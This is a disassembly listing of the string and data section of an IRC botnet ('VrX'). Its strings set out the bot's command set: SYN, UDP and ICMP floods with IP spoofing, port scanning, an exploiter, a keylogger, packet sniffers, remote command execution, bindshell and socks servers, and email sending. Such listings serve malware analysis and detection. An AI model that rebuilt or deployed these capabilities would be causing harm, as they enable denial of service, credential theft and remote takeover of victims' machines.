		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AE38	db  2Dh	; -		; DATA XREF: sub_401ACD+5346o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AE70	db  2Dh	; -		; DATA XREF: sub_401ACD+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+52BCo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4	db  2Dh	; -		; DATA XREF: sub_401ACD+521Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+520Ao
					; sub_4149C1+312o
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+51F3o
					; sub_4149C1+2F2o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+517Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+516Co
unk_42AEFC	db  2Dh	; -		; DATA XREF: sub_401ACD+511Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+50A9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+4FBEo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+4FA7o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+4F90o
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401ACD+4F48o
aP:					; DATA XREF: sub_401ACD+4F31o
					; .packed:00438AF0o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+4F1Ao
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+4F03o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+4EECo
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4ED5o
aU:					; DATA XREF: sub_401ACD+4EBEo
					; .packed:00438B00o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4EA7o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4E90o
		align 4
aAd		db 'ad',0               ; DATA XREF: sub_401ACD+4E79o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4E62o
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4E4Bo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4E34o
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4E0Eo
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4DF7o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4DE0o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4DC9o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4DB2o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4D9Bo
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4D84o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4D6Do
		align 10h
aNazel3		db 'NAZEL3',0           ; DATA XREF: sub_401ACD+4D3Fo
					; sub_401ACD+4D56o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4D28o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4D11o
		align 4
dword_42B05C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4D04o
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B098	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4C95o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4C12o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4BFBo
					; sub_401ACD+51DBo ...
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4BE4o
		align 10h
unk_42B0E0	db  2Dh	; -		; DATA XREF: sub_401ACD+4BD7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4B00o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4AE9o
					; sub_413694:loc_4137C0o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4AD2o
					; sub_413694:loc_4137A4o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4ABBo
					; sub_413694+F1o
		align 10h
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4A8Do
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4A64o
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4A4Do
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4A36o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4A1Fo
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4A08o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+49F1o
		align 4
aE:					; DATA XREF: sub_401ACD+49DAo
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+49C3o
aHadeth3	db 'HADETH3',0          ; DATA XREF: sub_401ACD+4995o
					; sub_401ACD+49ACo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+497Eo
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4967o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4950o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4939o
					; sub_401ACD+6B0Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4922o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+490Bo
aT3		db 't3',0               ; DATA XREF: sub_401ACD+48F4o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+48DDo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+48C6o
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+48AFo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+4898o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+4881o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+486Ao
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+4853o
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+483Co
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+4825o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+480Eo
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+47F7o
		align 4
aM:					; DATA XREF: sub_401ACD+47E0o
					; .packed:004387C8o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+47B2o
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+479Bo
		align 4
aA:					; DATA XREF: sub_401ACD+4784o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+476Do
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+473Fo
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4728o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4711o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+46FAo
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+46E3o
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+46BAo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+46A3o
unk_42B254	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406163o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B270	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406159o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+465Bo
					; sub_409909+5F0o
		align 4
unk_42B29C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40611Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2BC	db  2Dh	; -		; DATA XREF: sub_401ACD+4646o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406091o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B2FC	db  2Dh	; -		; DATA XREF: sub_401ACD+45BAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+4567o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+4527o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+450Fo
		align 4
unk_42B33C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405FB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B35C	db  2Dh	; -		; DATA XREF: sub_401ACD+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401ACD+44ABo
		align 4
unk_42B388	db  2Dh	; -		; DATA XREF: sub_401ACD+4478o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4454o
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+4426o
					; sub_401ACD+443Do ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+440Fo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401ACD+43F8o
		align 10h
dword_42B3E0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_	db '- No thread found.',0
		align 10h
dword_42B400	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43E1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B438	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43B3o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B46C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4366o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B498	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4356o
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4325o
		align 10h
unk_42B4C0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DE5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+430Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528	db  2Dh	; -		; DATA XREF: sub_401ACD+42E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564	db  2Dh	; -		; DATA XREF: sub_401ACD+4271o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 10h
unk_42B590	db  2Dh	; -		; DATA XREF: sub_401ACD+420Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+41BEo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B620	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4190o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B65C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4121o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B68C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40BAo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+409Ao
					; sub_401ACD+41EAo ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+4085o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+406Eo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4057o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+4040o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4029o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+4012o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FFBo
aV:					; DATA XREF: sub_401ACD+3FE4o
					; .packed:004387BCo ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FCDo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FB6o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F9Fo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F88o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F5Ao
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F43o
					; sub_401ACD+453Fo
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F2Co
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F15o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EFEo
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE7o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ED0o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA2o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E74o
					; .packed:00438AECo
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E5Do
					; sub_401ACD+583Ao ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E46o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E2Fo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E18o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E01o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DEAo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DD3o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DA5o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D77o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D60o
		align 4
aJ:					; DATA XREF: sub_401ACD+3D32o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D04o
					; .packed:004387C4o ...
		unicode	0, <n>,0
unk_42B784	db  2Dh	; -		; DATA XREF: sub_401ACD+3CCFo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C3Do
		align 10h
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3BE2o
		align 10h
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AB7o
					; sub_401ACD+3AF2o
		dd 0
dword_42B7FC	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3A7Co
		dd 1
dword_42B814	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A41o
					; sub_401ACD+3B62o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+39ECo
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3951o
					; sub_401ACD+3991o ...
		align 10h
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+38F7o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+3802o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+37BDo
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+36B5o
					; sub_401ACD+3CEDo
		align 4
dword_42B85C	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+369Ao
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884	dd 636364h		; DATA XREF: sub_401ACD+361Do
dword_42B888	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B894	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+34ABo
					; sub_401ACD+3712o ...
dword_42B89C	dd 69257325h, 0		; DATA XREF: sub_401ACD+3490o
					; sub_40AAAC+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+344Fo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3434o
					; sub_401ACD+3520o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+340Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+33F2o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+33D0o
					; sub_401ACD+3D49o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+33B5o
					; sub_401ACD+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+3393o
					; sub_401ACD+3D1Bo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+3378o
		align 10h
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3329o
					; sub_401ACD+47C9o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+330Eo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+32BFo
		align 4
dword_42B90C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32A4o
dword_42B920	dd 7463h		; DATA XREF: sub_401ACD+3255o
dword_42B924	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
					; sub_401ACD+385Co ...
dword_42B934	dd 5Fh			; DATA XREF: sub_401ACD+320Bo
					; sub_401ACD+3275o ...
dword_42B938	dd 6D70h		; DATA XREF: sub_401ACD+31EBo
					; sub_401ACD+4756o
unk_42B93C	db  2Dh	; -		; DATA XREF: sub_401ACD+31BBo
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+3164o
		align 10h
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3143o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+312Co
		align 10h
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3115o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+30FEo
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+30E7o
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+30DAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B9E4	db  2Dh	; -		; DATA XREF: sub_401ACD+3068o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FC5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+2FA7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2F83o
		align 4
unk_42BA88	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4049F7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_4049D9o
					; sub_401ACD+3F71o
unk_42BAC4	db    3			; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 10h
unk_42BAF0	db    3			; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 4
dword_42BB1C	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C	db    3			; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB7C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E08o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BBB8	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2D8Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2D88o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2D81o
		align 4
unk_42BBEC	db  2Dh	; -		; DATA XREF: sub_401ACD+2D0Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BC2C	db  2Dh	; -		; DATA XREF: sub_401ACD+2C86o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BC58	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C04o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BC94	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2B95o
					; sub_411BCE+A8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BCBC	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2AE2o
dword_42BCCC	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCD8	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCE8	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2AC5o
unk_42BCF8	db    3			; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
					; sub_401ACD:loc_409570o ...
		align 4
unk_42BD28	db    3			; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
					; sub_401ACD+78C1o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
		align 4
unk_42BD78	db    3			; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 4
unk_42BDA4	db    3			; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 4
unk_42BDBC	db  2Dh	; -		; DATA XREF: sub_401ACD+2986o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BDF8	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+2917o
		dd 65726874h, 2E736461h, 0
dword_42BE18	dd 627573h		; DATA XREF: sub_401ACD+28F1o
unk_42BE1C	db    3			; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 4
unk_42BE34	db  2Dh	; -		; DATA XREF: sub_401ACD+2884o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE6C	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2815o
		dd 2E676Fh
unk_42BE84	db    3			; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BE9C	db    3			; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 4
unk_42BEB4	db    3			; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BECC	db  2Dh	; -		; DATA XREF: sub_401ACD+26CDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
